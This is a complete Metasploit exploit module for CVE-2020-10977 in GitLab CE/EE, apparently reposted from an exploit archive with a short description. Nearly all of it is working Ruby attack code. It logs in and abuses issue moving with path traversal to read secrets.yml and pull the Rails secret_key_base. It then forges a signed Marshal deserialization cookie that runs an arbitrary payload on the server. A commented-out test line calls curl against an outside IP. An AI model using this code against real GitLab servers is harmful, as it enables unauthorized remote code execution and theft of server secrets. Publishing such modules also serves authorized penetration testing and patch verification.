GitLab File Read Remote Code Execution

This Metasploit module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails secret_key_base, and gains remote code execution with a deserialization vulnerability of a signed experimentation_subject_id cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.


MD5 | 9603149ee63599adcc99cffa47a96d86

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

# From Rails
class MessageVerifier

class InvalidSignature < StandardError
end

def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end

def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end

def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end

end

class NoopSerializer
def dump(value)
value
end
end

class KeyGenerator

def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end

def generate_key(salt, key_size = 64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end

end

class GitLabClientException < StandardError; end

class GitLabClient
def initialize(http_client)
@http_client = http_client
@cookie_jar = {}
end

def sign_in(username, password)
sign_in_path = '/users/sign_in'
csrf_token = extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => '/users/sign_in',
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => username,
'user[password]' => password,
'user[remember_me]' => 0
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Invalid Login or password')
raise GitLabClientException, 'Username or password invalid'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
elsif res.headers.fetch('Location', '').include?(sign_in_path)
raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
end

merge_cookie_jar(res)

current_user
end

def current_user
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/user',
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

JSON.parse(res.body)
end

def version
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/version',
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

JSON.parse(res.body)
end

def create_project(user:)
new_project_path = '/projects/new'
create_project_path = '/projects'

csrf_token = extract_csrf_token(
path: new_project_path,
regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/
)
project_name = Rex::Text.rand_text_alphanumeric(8)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_project_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'project[ci_cd_only]' => 'false',
'project[name]' => project_name,
'project[namespace_id]' => (user['id']).to_s,
'project[path]' => project_name,
'project[description]' => Rex::Text.rand_text_alphanumeric(8),
'project[visibility_level]' => '0'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Namespace is not valid')
raise GitLabClientException, 'This uer can not create additional projects, please delete some'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)

project(user: user, project_name: project_name)
end

def project(user:, project_name:)
project_path = "/#{user['username']}/#{project_name}"
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => project_path,
'cookie' => cookie
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

project_id = res.body[/Project ID: (\d+)/, 1]
{
'id' => project_id,
'name' => project_name,
'path' => project_path,
'edit_path' => "#{project_path}/edit",
'delete_path' => "/#{user['username']}/#{project_name}"
}
end

def delete_project(project:)
edit_project_path = project['edit_path']
delete_project_path = project['delete_path']

csrf_token = extract_csrf_token(
path: edit_project_path,
regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => delete_project_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'_method' => 'delete'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

true
end

def create_issue(project:, issue:)
new_issue_path = "#{project['path']}/issues/new"
create_issue_path = "#{project['path']}/issues"

csrf_token = extract_csrf_token(
path: new_issue_path,
regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_issue_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
'issue[confidential]' => '0',
'issue[assignee_ids][]' => '0',
'issue[label_ids][]' => '',
'issue[due_date]' => '',
'issue[lock_version]' => '0'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)
issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]

issue.merge({
'path' => "#{create_issue_path}/#{issue_id}",
'move_path' => "#{create_issue_path}/#{issue_id}/move"
})
end

def move_issue(issue:, target_project:)
issue_path = issue['path']
move_issue_path = issue['move_path']

csrf_token = extract_csrf_token(
path: issue_path,
regex: /name="csrf-token" content="([^"]+)"/
)

res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => move_issue_path,
'cookie' => cookie,
'ctype' => 'application/json',
'headers' => {
'X-CSRF-Token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => {
'move_to_project_id' => (target_project['id']).to_s
}.to_json
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

json_res = JSON.parse(res.body)

{
'path' => json_res['web_url'],
'description' => json_res['description']
}
end

def download(project:, path:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => "#{project['path']}/#{path}",
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

res.body
end

private

attr_reader :http_client

def extract_csrf_token(path:, regex:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => path,
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)
token = res.body[regex, 1]
if token.nil?
raise GitLabClientException, 'Could not successfully extract CSRF token'
end

token
end

def cookie
return nil if @cookie_jar.empty?

@cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ')
end

def merge_cookie_jar(res)
new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }]
@cookie_jar.merge!(new_cookies)
end
end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab File Read Remote Code Execution',
'Description' => %q{
This module provides remote code execution against GitLab Community
Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
read to extract the Rails "secret_key_base", and gains remote code
execution with a deserialization vulnerability of a signed
'experimentation_subject_id' cookie that GitLab uses internally for A/B
testing.

Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
cookie was introduced.

Tested on GitLab 12.8.1 and 12.4.0.
},
'Author' =>
[
'William Bowling (vakzz)', # Discovery + PoC
'alanfoster', # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-10977'],
['URL', 'https://hackerone.com/reports/827052'],
['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
],
'DisclosureDate' => '2020-03-26',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password for the specified username']),
OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
]
)
register_advanced_options(
[
OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
]
)
end

#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%^
code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map(&:strip).join("\n")
end

def build_payload
code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

# Originally created with Active Support 6.x
# code = '`curl 10.10.15.26`'
# erb = ERB.allocate; nil
# erb.instance_variable_set(:@src, code);
# erb.instance_variable_set(:@filename, "1")
# erb.instance_variable_set(:@lineno, 1)
# value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
# Marshal.dump(value)
"\x04\b" \
'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
"\t:\x0E@instance" \
"o:\bERB" \
"\b" \
":\t@src#{Marshal.dump(code)[2..-1]}" \
":\x0E@filename\"\x061" \
":\f@linenoi\x06" \
":\f@method:\vresult" \
":\t@var\"\f@result" \
":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
end

def sign_payload(secret_key_base, payload)
key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
key = key_generator.generate_key(datastore['SignedCookieSalt'])
verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
verifier.generate(payload)
end

def check
validate_credentials_present!

git_lab_client = GitLabClient.new(self)
git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
version = Gem::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])

# Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
# However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
has_rce_present = (
version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) ||
version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) ||
version == Gem::Version.new('12.9.0')
)
if has_rce_present
return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
end

Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
rescue GitLabClientException => e
Exploit::CheckCode::Unknown(e.message)
end

def validate_credentials_present!
missing_options = []

missing_options << 'USERNAME' if datastore['USERNAME'].blank?
missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?

if missing_options.any?
raise Msf::OptionValidateError, missing_options
end
end

def read_secret_key_base
return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?

validate_credentials_present!
git_lab_client = GitLabClient.new(self)
user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
print_status("Logged in to user #{user['username']}")

project_a = git_lab_client.create_project(user: user)
print_status("Created project #{project_a['path']}")
project_b = git_lab_client.create_project(user: user)
print_status("Created project #{project_b['path']}")

issue = git_lab_client.create_issue(
project: project_a,
issue: {
'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
}
)
print_status("Created issue #{issue['path']}")

print_status('Executing arbitrary file load')
moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]
secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
print_good("File saved as: '#{loot_path}'")

secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]
if secret_key_base.nil?
fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
end

print_good("Extracted secret_key_base #{secret_key_base}")
print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')

secret_key_base
rescue GitLabClientException => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
[project_a, project_b].each do |project|
begin
next unless project

print_status("Attempting to delete project #{project['path']}")
git_lab_client.delete_project(project: project)
print_status("Deleted project #{project['path']}")
rescue StandardError
print_error("Failed to delete project #{project['path']}")
end
end
end

def exploit
secret_key_base = read_secret_key_base

payload = build_payload
signed_cookie = sign_payload(secret_key_base, payload)
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "experimentation_subject_id=#{signed_cookie}"
})
end
end

Related Posts